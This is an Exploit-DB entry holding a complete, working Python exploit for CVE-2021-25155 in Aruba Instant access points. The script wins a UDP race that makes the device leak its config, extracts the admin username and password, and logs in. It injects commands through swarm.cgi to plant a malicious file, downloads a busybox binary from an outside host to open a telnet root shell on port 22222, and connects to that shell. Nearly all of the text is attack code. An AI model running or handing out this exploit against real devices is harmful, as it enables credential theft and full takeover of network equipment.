Exploit-DB #50133
Description: Aruba Instant 8.7.1.0 - Arbitrary File Modification
Type: remote
Platform: hardware
Date: 2021-07-16
Author: Gr33nh4t

Exploit:
# Exploit Title: Aruba Instant 8.7.1.0 - Arbitrary File Modification
# Date: 15/07/2021
# Exploit Author: Gr33nh4t
# Vendor Homepage: https://www.arubanetworks.com/
# Version:
# Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below
# Aruba Instant 6.5.x: 6.5.4.18 and below
# Aruba Instant 8.3.x: 8.3.0.14 and below
# Aruba Instant 8.5.x: 8.5.0.11 and below
# Aruba Instant 8.6.x: 8.6.0.6 and below
# Aruba Instant 8.7.x: 8.7.1.0 and below
# Tested on: Aruba Instant
# CVE : CVE-2021-25155

import socket
import sys
import struct
import time
import threading
import urllib3
import re
import telnetlib
import xml.etree.ElementTree as ET
import requests

urllib3.disable_warnings()

CONTINUE_RACE = True
SNPRINTF_CREATEFILE_MAX_LENGTH = 245


def race_papi_message(ip):

    global CONTINUE_RACE

    payload = b"\x49\x72"
    payload += b"\x00\x03"
    payload += b"\x7F\x00\x00\x01"
    payload += b"\x7F\x00\x00\x01"
    payload += b"\x00\x00"
    payload += b"\x00\x00"
    payload += b"\x3B\x7E"
    payload += b"\x41\x41"
    payload += b"\x04\x22"
    payload += b"\x00\x00"
    payload += b"\x02\x00"
    payload += b"\x00\x00"
    payload += b"\x00" * 12 * 4
    text_to_send = bytes()
    for i in "msg_ref 3000 /tmp/cfg-plaintext\x00":
        text_to_send += struct.pack("B", int(ord(i)) ^ 0x93)

    packet = payload + text_to_send

    while CONTINUE_RACE:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect((ip, 8211))
        s.send(packet)
        s.close()
        time.sleep(0.004)


def find_credentials(text):
    res = re.search("mgmt-user .*", text)[0]
    res = res.split(" ")
    return (res[1], res[2])


def login(ip, username, password):
    login_data = {
            "opcode": "login",
            "user": username,
            "passwd": password,
            "refresh": "false",
    }
    res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=login_data, verify=False)

    root = ET.fromstring(res.text)
    return root.find("./data[@name='sid']").text


def create_directory(ip, sid):
    request_data = "opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20\"https://{ip}:4343/%09--directory-prefix%09/tmp/oper_/%09#\"'&refresh=false&sid={sid}&nocache=0[PII_REDACTED]1110987&=".format(ip=ip, sid=sid)
    res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=request_data, verify=False)
    if "/tmp/oper_" in res.text:
        print("[+] Successfully created /tmp/oper_/ directory :)")
        return True
    else:
        print("[-] Failed creating /tmp/oper_/ directory")
        return False


def prepare_upload_id(command):
    base_payload = "/../../etc/httpd/"
    cmd_len = len(command)
    padding_len = SNPRINTF_CREATEFILE_MAX_LENGTH - cmd_len - len(base_payload) - 8  # for the .gz at the end and the '; + spaces
    if padding_len < 0:
        print("[-] Command too long length:{}".format(padding_len))
        exit(1)
    return base_payload + ('/' * (padding_len - 1)) + 'A' + "'; {} #.gz".format(command)    


def create_file(ip, command):
    upload_id = prepare_upload_id(command)
    requests.post("https://{}:4343/swarm.cgi".format(ip), data={"opcode": "cp-upload", "file_type": "logo", "upload_id": upload_id, "sid": "basdfbsfbsfb"}, files={"file": "test2"}, verify=False)


def run_command(ip, command):
    print("[*] Executing telnet")
    command = command.replace("?", "%3F")
    command = command.replace("#", "\\\\x23")
    s = requests.Session()
    req = requests.Request('GET', "https://{}:4343/A';%20{}%20%23".format(ip, command))
    prep = req.prepare()
    response = s.send(prep, verify=False)
    return response.text

def build_command(command):
    command = command.replace("/", "\\\\x2F")
    command = command.replace("#", "\\\\x23")
    command = command.replace("\"", "\\\"")
    command = command.replace("`", "\`")
    final_command = "echo -e \"{}\"|sh".format(command)
    return final_command

def telnet_connect(router_ip):
    print("[*] Connecting to telnet")
    with telnetlib.Telnet(router_ip, 22222) as tn:
        tn.write(b"rm /etc/httpd/A*sh*.gz\n")
        tn.interact()


def main():

    global CONTINUE_RACE

    ip = sys.argv[1]

    print("[*] Starting the PAPI race thread")
    papi_thread = threading.Thread(target=race_papi_message, args=(ip, ))
    papi_thread.start()

    while CONTINUE_RACE:
        time.sleep(0.1)
        res = requests.get("https://{}:4343/swarm.cgi?opcode=single_signon&key=AAAA&ip=%20127.0.0.1".format(ip), timeout=3, verify=False)
        if "version" in res.text:
            print("[+] Successfully leaked the password from config")
            CONTINUE_RACE = False

    file_content = re.findall("var SESSION_ID = '(.*?)';", res.text, re.S)[0]
    user, password = find_credentials(file_content)

    print("[+] Successfully extracted username: {} and password: {}".format(user, password))
    sid = login(ip, user, password)
    print("[*] SID generated: {}".format(sid))

    command = """cd /tmp;/usr/sbin/wget https://busybox.net/downloads/binaries/1.21.1/busybox-armv5l --no-check-certificate -O telnetd;chmod +x telnetd;./telnetd -p 22222 -l sh"""
    final_command = build_command(command)

    if not create_directory(ip, sid):
        return

    print("[*] Creating malicious file in /etc/httpd/")
    create_file(ip, final_command)
    print(run_command(ip, final_command))
    time.sleep(1) # Sleeping waiting for telnet.
    telnet_connect(ip)


if __name__ == "__main__":
    main()